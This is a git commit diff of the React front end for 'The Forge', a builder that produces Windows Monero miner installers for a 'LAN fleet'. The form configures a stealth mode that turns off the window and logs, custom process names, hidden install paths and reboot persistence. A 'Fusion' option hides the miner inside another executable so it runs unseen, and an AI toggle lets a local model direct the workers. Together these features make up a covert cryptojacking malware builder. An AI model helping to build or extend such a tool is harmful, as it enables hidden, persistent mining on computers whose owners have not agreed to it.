Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.

Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
This commit is contained in:
drjones
2026-05-27 09:16:04 -07:00
parent 9d223b8137
commit df81eb7744
75 changed files with 8891 additions and 966 deletions

View File

@@ -1,50 +1,23 @@
import { useState, useEffect } from 'react';
import { useState, useEffect, useRef, useMemo } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo } from '../types';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo } from '../types';
import { HelpTip, FieldHint } from '../components/HelpTip';
import NeonCard from '../components/NeonCard/NeonCard';
import { SETUP_CHEATSHEET } from '../help/settingHelp';
import { forgeDefaultsFromServer } from '../help/forgeDefaults';
import { lanEndpointCandidates } from '../help/endpointHelpers';
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
import { previewInstallPath } from '../help/installPreview';
import { applyForgeFieldUpdate, getForgeFieldMeta, getForgeLiveNotices } from '../help/forgeRules';
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
import '../components/Fleet/FleetPanels.css';
import './Pages.css';
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
const d = config.default_agent_config;
return {
worker_name: '',
server_url: serverInfo.suggested_url,
wallet: config.wallet.address,
threads: d.threads,
thread_mode: d.thread_mode || 'percent',
thread_percent: d.thread_percent || 75,
cpu_priority: d.cpu_priority,
mining_mode: d.mining_mode,
display_mode: d.display_mode || (config.background.silent_mode ? 'silent' : 'background'),
silent_mode: config.background.silent_mode,
run_as: config.background.run_as,
auto_start: config.background.auto_start,
persistence: config.background.auto_start,
process_name: d.process_name || '',
max_cpu_usage_pct: d.max_cpu_usage_pct,
max_memory_percent: d.max_memory_percent || 70,
min_free_ram_mb: d.min_free_ram_mb,
idle_threshold_pct: d.idle_threshold_pct,
idle_duration_minutes: d.idle_duration_minutes,
schedule_start: d.schedule_start,
schedule_end: d.schedule_end,
install_base: d.install_base || 'localappdata',
install_custom_base: d.install_custom_base || '',
install_relative_path: d.install_relative_path || 'CryptoMiner/{worker}-{build_short}',
adapt_to_hardware: d.adapt_to_hardware ?? true,
self_healing: d.self_healing ?? true,
file_logging: d.file_logging ?? true,
stealth_mode: d.stealth_mode ?? false,
pool_host: config.pool.host,
pool_port: config.pool.port,
pool_tls: config.pool.use_tls,
pool_pass: config.pool.password,
fusion_enabled: false,
fusion_run_order: 'parallel',
fusion_output_name: 'prep.exe',
};
return forgeDefaultsFromServer(config, serverInfo);
}
export default function BuilderPage() {
@@ -56,13 +29,41 @@ export default function BuilderPage() {
const [showRecent, setShowRecent] = useState(false);
const [loadingDefaults, setLoadingDefaults] = useState(true);
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
const [listenPort, setListenPort] = useState(8989);
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
const refreshEndpointInfo = async () => {
setRefreshingEndpoints(true);
try {
const [config, info] = await Promise.all([api.getConfig(), api.getServerInfo()]);
setServerInfo(info);
setListenPort(config.port || info.port || 8989);
return info;
} finally {
setRefreshingEndpoints(false);
}
};
// Blueprint state
const [blueprints, setBlueprints] = useState<BlueprintInfo[]>([]);
const [showBlueprints, setShowBlueprints] = useState(false);
const [blueprintName, setBlueprintName] = useState('');
const [blueprintMsg, setBlueprintMsg] = useState('');
const [loadingBlueprints, setLoadingBlueprints] = useState(false);
const [compareBlueprint, setCompareBlueprint] = useState<Record<string, unknown> | null>(null);
const fileInputRef = useRef<HTMLInputElement>(null);
useEffect(() => {
Promise.all([api.getConfig(), api.getServerInfo()])
.then(([config, serverInfo]) => setForm(defaultsFromConfig(config, serverInfo)))
.then(([config, info]) => {
setServerInfo(info);
setListenPort(config.port || info.port || 8989);
setForm(defaultsFromConfig(config, info));
})
.catch((err) => {
console.error(err);
setError('Failed to load server defaults from Settings');
setError('Failed to load server info — is the control server running?');
})
.finally(() => setLoadingDefaults(false));
}, []);
@@ -77,30 +78,136 @@ export default function BuilderPage() {
}
};
// Blueprint: save current form as a named blueprint
const handleSaveBlueprint = async () => {
if (!form) return;
const name = prompt('Enter a name for this blueprint:', form.worker_name || 'my-miner-config');
if (!name || !name.trim()) return;
setBlueprintMsg('');
try {
const result = await api.saveBlueprint(name.trim(), form);
setBlueprintMsg(`✅ Blueprint "${result.name}" saved`);
setTimeout(() => setBlueprintMsg(''), 3000);
} catch (err: any) {
setBlueprintMsg(`❌ Failed to save: ${err.message}`);
}
};
// Blueprint: load blueprints list and show picker
const handleLoadBlueprint = async () => {
try {
setLoadingBlueprints(true);
const list = await api.listBlueprints();
setBlueprints(list);
setShowBlueprints(true);
} catch (err: any) {
setBlueprintMsg(`❌ Failed to load blueprints: ${err.message}`);
} finally {
setLoadingBlueprints(false);
}
};
// Blueprint: apply a selected blueprint to the form
const handleApplyBlueprint = async (name: string) => {
try {
const data = await api.getBlueprint(name);
setCompareBlueprint(data as Record<string, unknown>);
// Merge loaded data into form, preserving any fields not in the blueprint
setForm((prev) => (prev ? { ...prev, ...data } : prev));
setShowBlueprints(false);
setBlueprintMsg(`✅ Blueprint "${name}" loaded`);
setTimeout(() => setBlueprintMsg(''), 3000);
} catch (err: any) {
setBlueprintMsg(`❌ Failed to load blueprint: ${err.message}`);
}
};
const reForgeFromBuild = async (build: BuildRecord) => {
if (!form) return;
const merged = buildRequestFromRecord(build, form as unknown as Record<string, unknown>) as unknown as BuildRequest;
setForm(merged);
setError('');
setLastBuild(null);
const checks = runForgePreflight(merged, !!fusionPrepFile);
if (preflightHasErrors(checks)) {
setError('Re-forge preflight failed — adjust settings and forge manually.');
return;
}
setBuilding(true);
try {
const result = await api.buildAgent(merged, fusionPrepFile);
if (!result.success) throw new Error(result.error || 'Build failed');
setLastBuild(result);
loadRecentBuilds();
setBlueprintMsg(`✅ Re-forged ${build.worker_name}`);
} catch (err: any) {
setError(err.message || 'Re-forge failed');
} finally {
setBuilding(false);
}
};
const blueprintDiffRows = useMemo(() => {
if (!form || !compareBlueprint) return [];
return blueprintDiff(compareBlueprint, form as unknown as Record<string, unknown>);
}, [form, compareBlueprint]);
// Blueprint: delete a blueprint
const handleDeleteBlueprint = async (name: string) => {
if (!confirm(`Delete blueprint "${name}"?`)) return;
try {
await api.deleteBlueprint(name);
setBlueprints((prev) => prev.filter((b) => b.name !== name));
} catch (err: any) {
setBlueprintMsg(`❌ Failed to delete: ${err.message}`);
}
};
// Blueprint: import from a local .json file
const handleImportBlueprintFile = () => {
fileInputRef.current?.click();
};
const handleFileSelected = (e: React.ChangeEvent<HTMLInputElement>) => {
const file = e.target.files?.[0];
if (!file) return;
const reader = new FileReader();
reader.onload = (evt) => {
try {
const data = JSON.parse(evt.target?.result as string);
setForm((prev) => (prev ? { ...prev, ...data } : prev));
setBlueprintMsg(`✅ Blueprint loaded from "${file.name}"`);
setTimeout(() => setBlueprintMsg(''), 3000);
} catch {
setBlueprintMsg('❌ Invalid JSON file');
}
};
reader.readAsText(file);
// Reset input so same file can be re-selected
e.target.value = '';
};
// Blueprint: export current form as a downloadable .json file
const handleExportBlueprintFile = () => {
if (!form) return;
const blob = new Blob([JSON.stringify(form, null, 2)], { type: 'application/json' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `${form.worker_name || 'miner-config'}-blueprint.json`;
a.click();
URL.revokeObjectURL(url);
};
const handleSubmit = async (e: React.FormEvent) => {
e.preventDefault();
if (!form) return;
setError('');
setLastBuild(null);
if (!form.worker_name.trim()) {
setError('Worker name is required');
return;
}
if (!form.server_url.trim()) {
setError('Server URL is required');
return;
}
if (!form.wallet.trim()) {
setError('Wallet address is required');
return;
}
if (form.install_base === 'custom' && !form.install_custom_base.trim()) {
setError('Custom install base path is required when Install Base is Custom');
return;
}
if (form.fusion_enabled && !fusionPrepFile) {
setError('Fusion requires your prep.exe file');
const checks = runForgePreflight(form, !!fusionPrepFile);
if (preflightHasErrors(checks)) {
setError('Preflight failed — fix errors in the checklist below before forging.');
return;
}
@@ -119,15 +226,32 @@ export default function BuilderPage() {
}
};
const updateField = (field: keyof BuildRequest, value: any) => {
setForm((prev) => (prev ? { ...prev, [field]: value } : prev));
const updateField = (field: keyof BuildRequest, value: unknown) => {
setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev));
};
const fieldMeta = useMemo(() => (form ? getForgeFieldMeta(form) : {}), [form]);
const liveNotices = useMemo(
() => (form ? getForgeLiveNotices(form, !!fusionPrepFile) : []),
[form, fusionPrepFile]
);
const preflightChecks = useMemo(
() => (form ? runForgePreflight(form, !!fusionPrepFile) : []),
[form, fusionPrepFile]
);
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
if (loadingDefaults || !form) {
return (
<div className="page fade-in">
<div className="page-header"><h1>Miner Builder</h1></div>
<div className="card"><p>Loading defaults from Settings...</p></div>
<div className="page fade-in command-deck">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
<h1>The Forge</h1>
</div>
</header>
<NeonCard accent="brass"><p>Loading forge defaults from server...</p></NeonCard>
</div>
);
}
@@ -140,22 +264,95 @@ export default function BuilderPage() {
process_name: form.process_name,
});
const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : [];
return (
<div className="page fade-in command-deck">
{/* Hidden file input for importing blueprint .json files */}
<input
type="file"
ref={fileInputRef}
style={{ display: 'none' }}
accept=".json,application/json"
onChange={handleFileSelected}
/>
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
<h1>The Forge</h1>
<p className="page-subtitle">Craft fused or standalone miners for your LAN fleet.</p>
<p className="page-subtitle">
Every miner option lives here install path, stealth, Fusion, persistence. Calibrate tab is server-only.
</p>
</div>
<div className="deck-hero-actions" style={{ display: 'flex', gap: '8px', flexWrap: 'wrap' }}>
<button className="btn btn-outline" onClick={loadRecentBuilds}>
Recent Builds
</button>
<button className="btn btn-outline" onClick={handleSaveBlueprint} title="Save current form as a named blueprint on the server">
💾 Save Blueprint
</button>
<button className="btn btn-outline" onClick={handleLoadBlueprint} title="Load a saved blueprint from the server">
📂 Load Blueprint
</button>
<button className="btn btn-outline" onClick={handleExportBlueprintFile} title="Download current form as a .json file">
Export .json
</button>
<button className="btn btn-outline" onClick={handleImportBlueprintFile} title="Import a .json blueprint file from your computer">
📥 Import .json
</button>
</div>
<button className="btn btn-outline" onClick={loadRecentBuilds}>
Recent Builds
</button>
</header>
{/* Blueprint status message */}
{blueprintMsg && (
<div className={`save-message ${blueprintMsg.includes('✅') ? 'success' : 'error'}`} style={{ marginBottom: '12px' }}>
{blueprintMsg}
</div>
)}
{/* Blueprint picker panel */}
{showBlueprints && (
<div className="card" style={{ marginBottom: '16px' }}>
<div style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', marginBottom: '12px' }}>
<h3 style={{ margin: 0 }}>Saved Blueprints</h3>
<button className="btn btn-outline" onClick={() => setShowBlueprints(false)}>Close</button>
</div>
{loadingBlueprints ? (
<p>Loading blueprints...</p>
) : blueprints.length === 0 ? (
<p className="empty-text">No saved blueprints yet. Configure the form and click "Save Blueprint".</p>
) : (
<div className="builds-list">
{blueprints.map((bp) => (
<div key={bp.name} className="build-item">
<div className="build-item-name">{bp.name}</div>
<div className="build-item-details">
<span>{(bp.size / 1024).toFixed(1)} KB</span>
<span>{new Date(bp.created_at).toLocaleString()}</span>
</div>
<div style={{ display: 'flex', gap: '8px' }}>
<button className="btn btn-primary" onClick={() => handleApplyBlueprint(bp.name)}>
Load
</button>
<button className="btn btn-outline" onClick={() => handleDeleteBlueprint(bp.name)}>
Delete
</button>
</div>
</div>
))}
</div>
)}
</div>
)}
<div className="builder-layout builder-layout-wide">
<div className="card cheat-sheet-panel">
<h2>Setup Cheat Sheet</h2>
<h2>Quick links</h2>
<p className="form-hint">Full visual guide with pipeline, Fusion, AI, and troubleshooting.</p>
<Link to="/guide" className="btn btn-primary" style={{ marginBottom: '1rem', display: 'inline-block' }}>
Open Field Guide
</Link>
<div className="cheat-sheet">
{SETUP_CHEATSHEET.map((item) => (
<div key={item.title} className="cheat-sheet-item">
@@ -167,6 +364,43 @@ export default function BuilderPage() {
</div>
<div className="card builder-form">
<div className="forge-rules-banner">
<h3 className="font-tech">FORGE RULES READ THIS ONCE</h3>
<p className="form-hint" style={{ margin: 0 }}>
Everything on this page is configurable, but incompatible mixes are blocked at forge time.
Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.
</p>
<div className="forge-rules-grid">
<div className="forge-rule-card">
<strong> Baked into installer</strong>
Wallet, pool, threads, install path, stealth, AI toggle frozen when you forge. Re-forge to change.
</div>
<div className="forge-rule-card">
<strong>🖥 Server folder only</strong>
Output Folder copies exe + uninstall script on this PC. Not embedded in the worker.
</div>
<div className="forge-rule-card">
<strong>🔒 Auto-coupled</strong>
Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence.
</div>
<div className="forge-rule-card">
<strong> Cannot forge until fixed</strong>
Preflight errors below must be resolved warnings let you forge but double-check first.
</div>
</div>
</div>
{liveNotices.length > 0 && (
<div className="forge-live-notices">
<strong className="font-tech">ACTIVE RULES</strong>
<ul>
{liveNotices.map((n) => (
<li key={n}>{n}</li>
))}
</ul>
</div>
)}
<h2>Build Miner Installer</h2>
<p className="form-description">
Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once.
@@ -175,9 +409,16 @@ export default function BuilderPage() {
<form onSubmit={handleSubmit}>
<div className="form-section">
<h3>Identity</h3>
<ForgeSectionHeader
title="Identity"
badge="baked"
description="Worker name, control server URL, and payout wallet are embedded in every forged installer."
/>
<div className="form-group">
<label className="label">Worker Name <HelpTip field="worker_name" /></label>
<div className="label-row">
<label className="label">Worker Name <HelpTip field="worker_name" /></label>
<ForgeFieldBadge meta={fieldMeta.worker_name} />
</div>
<input
type="text"
className="input"
@@ -187,16 +428,50 @@ export default function BuilderPage() {
required
/>
</div>
<div className="form-group">
<label className="label">Server URL <HelpTip field="server_url" /></label>
<div className="form-group endpoint-group">
<div className="endpoint-header">
<label className="label">Control Endpoint <HelpTip field="server_url" /></label>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={refreshingEndpoints}
onClick={() => void refreshEndpointInfo()}
>
{refreshingEndpoints ? 'Scanning...' : 'Refresh LAN IPs'}
</button>
</div>
<input
type="text"
className="input mono"
type="url"
className="input mono endpoint-input"
placeholder={`http://192.168.1.10:${listenPort}`}
value={form.server_url}
onChange={(e) => updateField('server_url', e.target.value)}
required
autoComplete="off"
spellCheck={false}
/>
<FieldHint field="server_url" />
<p className="form-hint endpoint-hint">
Baked into each installer. Change here when this host&apos;s LAN IP changes you do not need to update Calibrate first.
</p>
{endpointCandidates.length > 0 && (
<div className="endpoint-picks">
<span className="endpoint-picks-label font-tech">Quick pick</span>
<div className="endpoint-chips">
{endpointCandidates.map((url) => (
<button
key={url}
type="button"
className={`endpoint-chip ${form.server_url.trim() === url ? 'active' : ''}`}
onClick={() => updateField('server_url', url)}
title="Use this address in the installer"
>
{url}
</button>
))}
</div>
</div>
)}
</div>
<div className="form-group">
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
@@ -208,10 +483,33 @@ export default function BuilderPage() {
required
/>
</div>
<div className={`form-group ${fieldMeta.output_dir?.badge === 'server-only' ? '' : ''}`}>
<div className="label-row">
<label className="label">Output Folder (server) <HelpTip field="output_dir" /></label>
<ForgeFieldBadge meta={fieldMeta.output_dir} />
</div>
<input
type="text"
className="input mono"
placeholder="exports"
value={(form.output_dir || '') as any}
onChange={(e) => updateField('output_dir' as any, e.target.value)}
/>
<FieldHint field="output_dir" />
<ForgeLockedHint meta={fieldMeta.output_dir} />
<p className="form-hint">
Example: <code>exports</code> will copy the finished exe to <code>data/exports</code> on this host.
</p>
</div>
</div>
<div className="form-section">
<h3>Pool Configuration</h3>
<ForgeSectionHeader
title="Pool Configuration"
badge="baked"
description="This miner's pool connection — host, port, TLS, and password are baked into the worker."
/>
<div className="form-group">
<label className="label">Pool Host</label>
<input
@@ -258,7 +556,11 @@ export default function BuilderPage() {
</div>
<div className="form-section">
<h3>Performance & Resources</h3>
<ForgeSectionHeader
title="Performance & Resources"
badge="baked"
description="Thread count, CPU/RAM limits, and mining schedule. Irrelevant fields lock based on your mode picks."
/>
<div className="form-row">
<div className="form-group">
<label className="label">Thread Mode <HelpTip field="thread_mode" /></label>
@@ -268,19 +570,21 @@ export default function BuilderPage() {
</select>
<FieldHint field="thread_mode" />
</div>
<div className="form-group">
<div className={`form-group ${fieldMeta.thread_percent?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Thread Percent <HelpTip field="thread_percent" /></label>
<input type="number" className="input" min={1} max={100} value={form.thread_percent}
disabled={form.thread_mode === 'fixed'}
disabled={fieldMeta.thread_percent?.disabled}
onChange={(e) => updateField('thread_percent', parseInt(e.target.value) || 75)} />
<ForgeLockedHint meta={fieldMeta.thread_percent} />
</div>
</div>
<div className="form-row">
<div className="form-group">
<div className={`form-group ${fieldMeta.threads?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Fixed Threads <HelpTip field="threads" /></label>
<input type="number" className="input" min={1} max={128} value={form.threads}
disabled={form.thread_mode !== 'fixed'}
disabled={fieldMeta.threads?.disabled}
onChange={(e) => updateField('threads', parseInt(e.target.value) || 1)} />
<ForgeLockedHint meta={fieldMeta.threads} />
</div>
<div className="form-group">
<label className="label">CPU Priority <HelpTip field="cpu_priority" /></label>
@@ -325,20 +629,25 @@ export default function BuilderPage() {
</div>
{form.mining_mode === 'idle' && (
<div className="form-row">
<div className="form-group">
<div className={`form-group ${fieldMeta.idle_threshold_pct?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Idle CPU Threshold (%)</label>
<input
type="number"
className="input"
min={1}
max={100}
disabled={fieldMeta.idle_threshold_pct?.disabled}
value={form.idle_threshold_pct}
onChange={(e) => updateField('idle_threshold_pct', parseInt(e.target.value) || 20)}
/>
</div>
<div className="form-group">
<div className={`form-group ${fieldMeta.idle_duration_minutes?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Idle Duration (min)</label>
<input
type="number"
className="input"
min={1}
disabled={fieldMeta.idle_duration_minutes?.disabled}
value={form.idle_duration_minutes}
onChange={(e) => updateField('idle_duration_minutes', parseInt(e.target.value) || 5)}
/>
@@ -347,20 +656,22 @@ export default function BuilderPage() {
)}
{form.mining_mode === 'scheduled' && (
<div className="form-row">
<div className="form-group">
<div className={`form-group ${fieldMeta.schedule_start?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Start Time</label>
<input
type="time"
className="input"
disabled={fieldMeta.schedule_start?.disabled}
value={form.schedule_start}
onChange={(e) => updateField('schedule_start', e.target.value)}
/>
</div>
<div className="form-group">
<div className={`form-group ${fieldMeta.schedule_end?.disabled ? 'field-disabled' : ''}`}>
<label className="label">End Time</label>
<input
type="time"
className="input"
disabled={fieldMeta.schedule_end?.disabled}
value={form.schedule_end}
onChange={(e) => updateField('schedule_end', e.target.value)}
/>
@@ -370,11 +681,11 @@ export default function BuilderPage() {
</div>
<div className="form-section">
<h3>Install & Process</h3>
<p className="form-description">
Double-clicking the built `.exe` embeds the miner on first run: copies itself to the path below,
optionally persists, then starts mining in the background.
</p>
<ForgeSectionHeader
title="Install & Process"
badge="baked"
description="Where the miner installs, how it persists, and how it appears in Task Manager."
/>
<div className="form-group">
<label className="label">Install Base Folder <HelpTip field="install_base" /></label>
<select className="select" value={form.install_base}
@@ -389,12 +700,14 @@ export default function BuilderPage() {
<FieldHint field="install_base" />
</div>
{form.install_base === 'custom' && (
<div className="form-group">
<div className={`form-group ${fieldMeta.install_custom_base?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
<input type="text" className="input mono" placeholder="C:\\Hidden\\Miner or %ProgramData%\\MyApp"
disabled={fieldMeta.install_custom_base?.disabled}
value={form.install_custom_base}
onChange={(e) => updateField('install_custom_base', e.target.value)} />
<FieldHint field="install_custom_base" />
<ForgeLockedHint meta={fieldMeta.install_custom_base} />
</div>
)}
<div className="form-group">
@@ -409,13 +722,15 @@ export default function BuilderPage() {
<label className="label">Install Preview</label>
<code className="path-display">{installPreview}</code>
</div>
<div className="form-group checkbox-group">
<div className={`form-group checkbox-group ${fieldMeta.adapt_to_hardware?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.adapt_to_hardware}
disabled={fieldMeta.adapt_to_hardware?.disabled}
onChange={(e) => updateField('adapt_to_hardware', e.target.checked)} />
<span>Adapt to hardware <HelpTip field="adapt_to_hardware" /></span>
</label>
<FieldHint field="adapt_to_hardware" />
<ForgeLockedHint meta={fieldMeta.adapt_to_hardware} />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
@@ -428,21 +743,19 @@ export default function BuilderPage() {
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.stealth_mode}
onChange={(e) => {
updateField('stealth_mode', e.target.checked);
if (e.target.checked) updateField('file_logging', false);
}} />
onChange={(e) => updateField('stealth_mode', e.target.checked)} />
<span>Stealth mode (no window, no logs, discreet persistence) <HelpTip field="stealth_mode" /></span>
</label>
<FieldHint field="stealth_mode" />
</div>
<div className="form-group checkbox-group">
<div className={`form-group checkbox-group ${fieldMeta.file_logging?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.file_logging}
disabled={form.stealth_mode}
disabled={fieldMeta.file_logging?.disabled}
onChange={(e) => updateField('file_logging', e.target.checked)} />
<span>Write miner.log on host <HelpTip field="file_logging" /></span>
</label>
<ForgeLockedHint meta={fieldMeta.file_logging} />
</div>
<div className="form-group">
<label className="label">Process Name <HelpTip field="process_name" /></label>
@@ -460,13 +773,15 @@ export default function BuilderPage() {
</select>
<FieldHint field="display_mode" />
</div>
<div className="form-group checkbox-group">
<div className={`form-group checkbox-group ${fieldMeta.persistence?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.persistence}
onChange={(e) => { updateField('persistence', e.target.checked); updateField('auto_start', e.target.checked); }} />
disabled={fieldMeta.persistence?.disabled}
onChange={(e) => updateField('persistence', e.target.checked)} />
<span>Persist after reboot <HelpTip field="persistence" /></span>
</label>
<FieldHint field="persistence" />
<ForgeLockedHint meta={fieldMeta.persistence} />
</div>
<div className="form-group">
<label className="label">Run As <HelpTip field="run_as" /></label>
@@ -475,25 +790,29 @@ export default function BuilderPage() {
value={form.run_as}
onChange={(e) => updateField('run_as', e.target.value)}
>
<option value="user">Current User</option>
<option value="service">Windows Service</option>
<option value="scheduled">Scheduled Task</option>
<option value="user">Current User (Run key when persistence on)</option>
<option value="service">Scheduled Task forced persistence</option>
<option value="scheduled">Scheduled Task forced persistence</option>
</select>
<FieldHint field="run_as" />
</div>
<div className="form-group checkbox-group">
<div className={`form-group checkbox-group ${fieldMeta.auto_start?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.auto_start}
onChange={(e) => { updateField('auto_start', e.target.checked); updateField('persistence', e.target.checked); }} />
<span>Also register startup entry (same as persistence)</span>
disabled={fieldMeta.auto_start?.disabled}
onChange={(e) => updateField('auto_start', e.target.checked)} />
<span>Also register startup entry (linked to persistence)</span>
</label>
<ForgeLockedHint meta={fieldMeta.auto_start} />
</div>
</div>
<div className="form-section">
<h3>Fusion (prep + worker)</h3>
<p className="form-description">
Bundle your machine prep tool with the miner into one file. The output runs your prep.exe and embeds the worker in the background.
</p>
<ForgeSectionHeader
title="Fusion (prep + worker)"
badge="baked"
description="Optional — bundles prep.exe with the miner. Forces background display when enabled."
/>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.fusion_enabled}
@@ -504,8 +823,11 @@ export default function BuilderPage() {
</div>
{form.fusion_enabled && (
<>
<div className="form-group">
<label className="label">Your prep.exe <HelpTip field="fusion_enabled" /></label>
<div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}>
<div className="label-row">
<label className="label">Your prep.exe <HelpTip field="fusion_enabled" /></label>
<ForgeFieldBadge meta={fieldMeta.fusion_prep} />
</div>
<input
type="file"
className="input"
@@ -541,15 +863,83 @@ export default function BuilderPage() {
)}
</div>
<div className="form-section">
<ForgeSectionHeader
title="AI Autonomy (AI自治)"
badge="baked"
description="Optional — Ollama on the control server decides actions. Worker must reach this dashboard."
/>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.ai_enabled}
onChange={(e) => updateField('ai_enabled', e.target.checked)} />
<span>Enable AI自治 (AI Autonomy) <HelpTip field="ai_enabled" /></span>
</label>
<FieldHint field="ai_enabled" />
</div>
{form.ai_enabled && (
<>
<div className={`form-group ${fieldMeta.ai_ollama_endpoint?.disabled ? 'field-disabled' : ''}`}>
<div className="label-row">
<label className="label">Ollama Endpoint URL</label>
<ForgeFieldBadge meta={fieldMeta.ai_ollama_endpoint} />
</div>
<input
type="url"
className="input mono"
placeholder="http://localhost:11434"
disabled={fieldMeta.ai_ollama_endpoint?.disabled}
value={form.ai_ollama_endpoint}
onChange={(e) => updateField('ai_ollama_endpoint', e.target.value)}
/>
<p className="form-hint">
Control server machine not the worker. Default: <code>http://localhost:11434</code>
</p>
</div>
<div className={`form-group ${fieldMeta.ai_model?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Ollama Model</label>
<input
type="text"
className="input mono"
placeholder="llama3.2"
disabled={fieldMeta.ai_model?.disabled}
value={form.ai_model}
onChange={(e) => updateField('ai_model', e.target.value)}
/>
<p className="form-hint">
Model to use for decisions. Default: <code>llama3.2</code>. Must support tool-calling / JSON output.
</p>
</div>
</>
)}
</div>
<div className="preflight-panel card">
<h3 className="font-tech">PREFLIGHT CROSS-CHECK</h3>
<ul className="preflight-list">
{preflightChecks.map((c) => (
<li key={c.id} className={`preflight-item preflight-${c.level}`}>
<span className="preflight-icon">{c.level === 'ok' ? '✓' : c.level === 'warn' ? '!' : '✕'}</span>
{c.message}
</li>
))}
</ul>
</div>
{error && (
<div className="form-error">
<span></span> {error}
</div>
)}
<button type="submit" className="btn btn-success build-btn" disabled={building}>
{building ? 'Building...' : 'Build Installer .exe'}
<button type="submit" className="btn btn-success build-btn forge-submit-btn" disabled={building || !canForge}>
{building ? 'Forging...' : canForge ? '⚒ FORGE INSTALLER' : `⚒ FIX ${errorCount} ERROR${errorCount === 1 ? '' : 'S'} TO FORGE`}
</button>
{!canForge && errorCount > 0 && (
<p className="forge-forge-blocked">
Forge is blocked until all preflight errors () are resolved. Warnings (!) still allow forging.
</p>
)}
</form>
</div>
@@ -572,6 +962,15 @@ export default function BuilderPage() {
Download .exe
</a>
)}
{lastBuild.uninstall_download_url && (
<>
<p><strong>Uninstaller:</strong> {lastBuild.uninstall_file_name}</p>
<code className="path-display">{lastBuild.uninstall_path}</code>
<a className="btn btn-outline" href={lastBuild.uninstall_download_url} download>
Download uninstall script
</a>
</>
)}
</div>
</div>
)}
@@ -579,29 +978,48 @@ export default function BuilderPage() {
{showRecent && (
<div className="card recent-builds">
<div className="recent-header">
<h2>Recent Builds</h2>
<h2>Build Manager</h2>
<button className="btn btn-outline" onClick={() => setShowRecent(false)}>Close</button>
</div>
<p className="form-hint">Blueprint diff, one-click re-forge, LAN QR download for each forged build.</p>
{blueprintDiffRows.length > 0 && (
<NeonCard accent="purple" className="section">
<h3>Blueprint Diff vs current form</h3>
<ul className="blueprint-diff">
{blueprintDiffRows.map((d) => (
<li key={d.key} className={d.kind}>
<strong>{d.key}</strong>: {d.kind}
{d.kind === 'changed' && ` (${JSON.stringify(d.from)}${JSON.stringify(d.to)})`}
</li>
))}
</ul>
</NeonCard>
)}
{recentBuilds.length === 0 ? (
<p className="empty-text">No builds yet</p>
) : (
<div className="builds-list">
{recentBuilds.map((build) => (
<div key={build.id} className="build-item">
<div className="build-item-name">{build.worker_name}</div>
<div className="build-item-details">
<span>{build.threads} threads</span>
<span>{(build.file_size / 1024 / 1024).toFixed(1)} MB</span>
<span>{new Date(build.created_at).toLocaleString()}</span>
<div className="build-manager-grid">
{recentBuilds.map((build) => {
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
return (
<div key={build.id} className="build-manager-row">
<div>
<div className="build-item-name">{build.worker_name}</div>
<div className="build-item-details">
<span>{build.threads} threads</span>
<span>{(build.file_size / 1024 / 1024).toFixed(1)} MB</span>
<span>{new Date(build.created_at).toLocaleString()}</span>
</div>
</div>
<LanDownloadQR url={downloadUrl} />
<a className="btn btn-outline" href={api.buildDownloadUrl(build.id)}>Download</a>
<a className="btn btn-outline" href={api.buildUninstallUrl(build.id)}>Uninstall script</a>
<button type="button" className="btn btn-primary" disabled={building} onClick={() => reForgeFromBuild(build)}>
Re-forge
</button>
</div>
{build.file_path && (
<code className="path-display small">{build.file_path}</code>
)}
<a className="btn btn-outline" href={`/api/v1/builds/${build.id}/download`}>
Download
</a>
</div>
))}
);
})}
</div>
)}
</div>